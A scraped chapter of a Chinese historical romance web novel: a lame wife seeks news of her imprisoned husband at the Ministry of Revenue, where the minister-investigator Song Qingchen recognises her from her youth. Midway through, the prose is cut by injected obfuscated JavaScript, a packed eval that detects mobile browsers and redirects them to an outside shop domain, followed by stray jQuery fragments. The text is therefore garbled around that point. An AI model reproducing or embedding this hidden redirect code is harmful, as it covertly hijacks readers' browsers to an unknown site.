深冬时节,暴雪肆虐,巨大阴云笼罩下的京都冰雪覆盖,一片寂白。
清晨天光刚起,安龙大街上行人渐现,迎着满天飞雪,踏着湿滑泥泞大道各自忙碌。
“吱呀~”
张宅的窄木门自内拉开,寒风裹着密密雪花涌入门内。
“母亲,雪大风寒,您快些回屋吧。”
阮倾清转身为身后付氏挡住风雪。
付氏年过五询,着一身暗棕比甲,双鬓斑白,猛吸一口雪渣子被激的咳了好一阵儿,堪堪平复,忙叮嘱道:“外头路滑难行,你万万留心脚下,到了府衙,好生与官爷说话,只求问到珂儿下落便好。”
阮倾清握了握付氏掌心,柔声说:“儿媳知晓的。”随后对付氏身后陈嬷嬷道:“劳烦嬷嬷一会儿给母亲熬碗姜汤驱寒。”
“是,老奴记得了。”陈嬷嬷答应着,知道付氏还病着不能受寒,便劝着她回了屋。
阮倾清目送付氏回去,迈过矮门槛,关上宅门,下了两级石阶,一脚深一脚浅,缓缓走进风雪。
熙熙攘攘的大街上,阮倾清身形清瘦,衣着朴素本不显眼,却因稍显迟钝地走路姿态引人侧目。
这么多年,阮倾清早已对这种目光木然,她拢了拢身上靛青斗篷,一步步往皇城方向而去。
到达户部府衙时,门口守卫看到她后一脸无奈,但她毕竟是户部六品官员张主事的发妻,故而不得不客气道:“张夫人您怎得又来了,不是给您说了,若是有张主事消息,定第一时间派人去府上通告。”
阮倾清对他的不耐也不恼,温和解释,“夫君办差出门后迟迟未归家,如今已过半月,婆母忧心患病,实在是迫不得已才来府衙讨扰,只求能见一见户部上官,以知晓夫君现下身在何处,是否安好。”
守卫见她面容姣好,语气恳切,且又拖着残步日日冒雪而来,不由动了恻隐之心,“具体发生何事我们这些底层人自是不知。”他侧目往府衙内的办差阁楼小心翼翼看了一眼,谨慎低声道:“但这几日那位贵人日日来督察,料想定是出了大事,所以我劝您莫要在此惹眼,免得添祸。”
贵人?
阮倾清蹙眉,下意识朝那阁楼望去,离得太远,又隔着层层雪幕,她什么都看不清,只依稀觉得阁楼窗户处似立着一高大身影。
少顷,她收回视线,“多谢提醒,可今日若得不了准信,我着实无法向婆母交代,前几日您都说户部大人不在,请问今日大人可来了?”
守卫叹口气,眼神躲闪,只说句“没来。”便侧身不再看她。
阮倾清知他为难,没再强求,蜷了蜷冰凉手指,“既如此,我便依旧在此候着大人,左右大人要处理公务,定会来的。”
随即,她缓步走到府门侧方,立在大雪中静静等候。
雪,愈发大了。
鹅绒般的雪片随风飞舞,飘飘然落进户部阁楼稍稍敞开的窗内。
阁楼厅内,户部一众官员皆整齐跪坐于矮桌后,纷纷认真且神情紧张地翻阅着手中账册。
屋内没有燃炉,每人额头上却都淌着冷汗,忍不住频频用余光谨慎探查着立在窗边那人的背影,那人明明未发一语,但久居上位的威压,压得满室官员脊梁发僵。
只因此刻厅内所有人的生死,皆掌握在他手中。
“宋大人。”
户部侍郎曾玉犹豫许久,抹了把脸,走到窗前,忐忑地递上整理好的账册。
负手立在窗前的男人身着绯红仙鹤补子官服,玉带束腰,身姿颀长挺拔,闻声自窗外收回目光,微微侧头,狭长漆黑的眼眸扫过曾玉手中的账册,再看向他。
曾玉被男人极具压迫性的视线看的心头突突直跳,后背瞬间被汗水侵湿,官场沉浮多年,他自认权谋胆识皆具,官居正三品,在朝中已近屹立不倒之势,可偏偏,如今却对上了宋卿尘。
宋卿尘何许人,乃开国名门承国公府嫡子,十岁随宋国公到边陲历练,十七岁从上万敌军帐中救出父亲,背回叔伯尸身。回京后,他弃武从文,十九岁高中状元,自五品翰林学士,一路扶摇直上,入仕七年,现已入内阁品级次辅,兼任吏部尚书。
宋卿尘年纪轻轻却能与两朝元首孔首辅于朝堂平分秋色,其城府、手段皆非常人能比。
曾玉暗暗咬牙,可恨那该死不死的张珂,害的户部所有人都要跟着他落入宋卿尘掌中。
半月前,户部派张珂与兵部军队一起北上押运军饷,却在行至中州官道时,被一批山匪劫杀。
一百万两军饷被劫走,随行所有官兵被杀,除了张珂。
后经仵作查验,官兵不敌山匪是因为提前被奸细在干粮中下了毒,所有人都中毒了,又是除了户部张珂。
皇上震怒,将张珂秘密押入大狱,命内阁次辅宋卿尘主查此案。而宋卿尘首当其冲要查的,便是嫌疑最大的张珂,以及张珂所任职的户部。
曾玉用袍袖抹了颈侧汗珠,宋卿尘让他整理张珂以前所经手的所有账目,以便核查张珂是否有通匪受贿的痕迹。可户部的账有多少猫腻他最清楚,只要宋卿尘接了账目,锱铢必较的查,户部上下官员,一个都不清白。
能不怕吗?
曾玉托账册的手几乎要忍不住抖起来,忽而听到面前身量极高的人在上方轻笑一声。
“户部有孔首辅带领,由曾侍郎辅佐,本官相信账目上定不会有问题,账册我便不看了,曾大人只需将张珂相关报与我听就行。”
曾玉的心咣当落了地,忙把账册收回怀中,神情轻松不少,殷勤道:“张珂家境贫寒,苦读多年考中进士前名,三年前升任六品主事,经这几日核查,他经手的账目差事皆清楚合规,并无可疑。”
曾玉顿了下,接着道:“至于张珂的家室,他家中只一老母亲,及五年前娶的一位发妻,日子过的极为清贫。”
发妻。
宋卿尘侧首,垂眸再次看向窗外。
白茫茫的衙前长街上,那女子立在纷纷扬扬的飘雪中,身上蓝色半旧的衣裙覆着一层雪,细瘦的腰身在斗篷的遮掩下也难掩娇弱。
可能是怕遮挡视线,她没有戴上斗篷后的兜帽,挽起的妇人发髻下露出一节后脖颈,白的晃眼。
宋卿尘眼力极好,如此远距,依旧能看清她细长地眉眼,及浓密乌睫上的雪沫,她此刻的唇色很淡,圆润精巧的鼻尖被冻的泛红,可脊背却挺得笔直,一如往日。
她来了十日,他看了她十日。
曾玉顺着宋卿尘的视线看去,语气颇为厌烦道:“就是她,她便是张珂的妻子,皇上下令此事密查,我自是不能对她透露半分,可这妇人却是个执着的,这些日子天天来府衙堵我,烦的我上下值只能走侧门。”
“她的脚?”宋卿尘修长白净的手指随意搭在窗下沿,从第一日起,他便看见了她踩在雪中深浅不一的脚印。
“以前她来府衙给张珂送过吃食,张珂给别人解释,说是他夫人是前些年因意外,摔断了小腿。”曾玉说。
宋卿尘颔首,没再说什么,却也没有从窗前走开。
曾玉顿了片刻,小心试探问,“宋大人,账目已查的差不多了,接下来您看……”
宋卿尘收回眸光,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963728|214395||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
往厅中走了几步。近卫丞空立刻拿了狐裘大氅为他披上。
宋卿尘边往出迈步边说,“接下来便不劳曾侍郎费心了,本官会调刑部与大理寺并查此案。”
曾玉心中大喜,刚想长舒一口气,却看到已准备下楼的宋卿尘停了脚步,转头朝他怀中的账册点了下巴。
“不过,还请曾侍郎将所有相关账目送到本官府上,以防在之后调查中刑部或大理寺有需要核对的地方。”
说完,宋卿尘稳步下楼。
曾玉一口气没上来,差点一头栽倒,被一旁眼疾手快的官员扶住才堪堪稳住,他气的颤着手指向宋卿尘离开方向,“他……狡诈!他分明是借着军饷被劫案拿捏我们户部,我……我定要将此事告知孔首辅……”
骤然,整个户部人心惶惶,乱作一团。
阁楼外,风雪未停。
宋卿尘行至府衙前院,抬步上了马车。丞空示意车夫启行,一众侍卫紧随其后。
为了查案低调,他们这几日出入户部也都走的侧门,此时众人欲依旧从侧门而出,却听到马车内的主子淡声吩咐,“走正门。”
马车立刻调转方向,车轮压过积雪,发出响耳的“咯吱”声。
门外的阮倾清听到马车声,急切往前两步,紧盯着府门。
大门打开,一辆奢华红木马车自内而出,其后跟着两队带刀侍卫。
如此阵仗,定是户部品级极高的大人。
阮倾清咬了咬冷的发僵的唇,拖着隐隐作痛的右腿,追到马车侧窗,稍提高嗓音道:“妾身户部主事张珂之妻,求见大人。”
带着沙哑的轻柔嗓音被轮动的车轮声覆盖,阮倾清不确定车内人是否听到,又追两步,欲再开口。
可道上的积雪已结成薄冰面,她脚下太急,右脚一滑,整个人往前扑了去,额头猛地撞到车厢壁上,发出“嘭”的一声闷响。
马车随之停下,阮倾清顾不得额头剧痛,手掌撑了车壁借力,站直身形,再道:“妾身户部张珂之妻,求见大人。”
落雪簌簌,长街静然,女子清柔却又带着坚定执着的声音万分清晰。
须臾,两根骨节分明,白皙如玉的手指缓缓挑开藏青织金的车帘。
阮倾清看着那车帘一寸寸敞开,车内人的面容亦逐渐显露。
二人视线相撞的刹那间,阮倾清徒然僵住。
电光火石间,眼前这张成熟的面庞,与记忆中早已模糊的矜贵少年五官徐徐重叠……
她自五岁父母双亡,便没了家,长年跟着祖母辗转寄居于几个叔伯家,寄人篱下,观人脸色,只为片瓦遮顶一饭饱腹。
宣德十年,她十四岁。
祖母离世前用仅存的几两银子,托人送她去京都投靠姑母。
当她从牛车跳下,抱着破旧包袱站在承国公府的大门前,抬头,仰视着庄严肃穆的朱红门楣上,黑底金漆的“承国公府”四大字,自幼长在乡下的她徒然生出一股深深惧意。
随后她被人从角门带入,走进一座位于府中后院最末端角落的小院子,见到了面色难看的姑母。
姑母冷眼打量她一番,问了她的名字,而后让婆子带她住进一间昏暗的耳房。
蜷居在那间耳房艰难度日中,她才逐渐搞清楚,在这座宏伟壮观的府邸中,姑母只是庶三房老爷的其中一个贱妾,地位连前院奉茶丫鬟都不及。
姑母说她不能白吃白住,她便跟着后院的粗使下人做些打扫活计。
可即使是当奴婢,她却是满足的,安稳不挨饿的日子,让她恍然觉得终于有了一个“家”。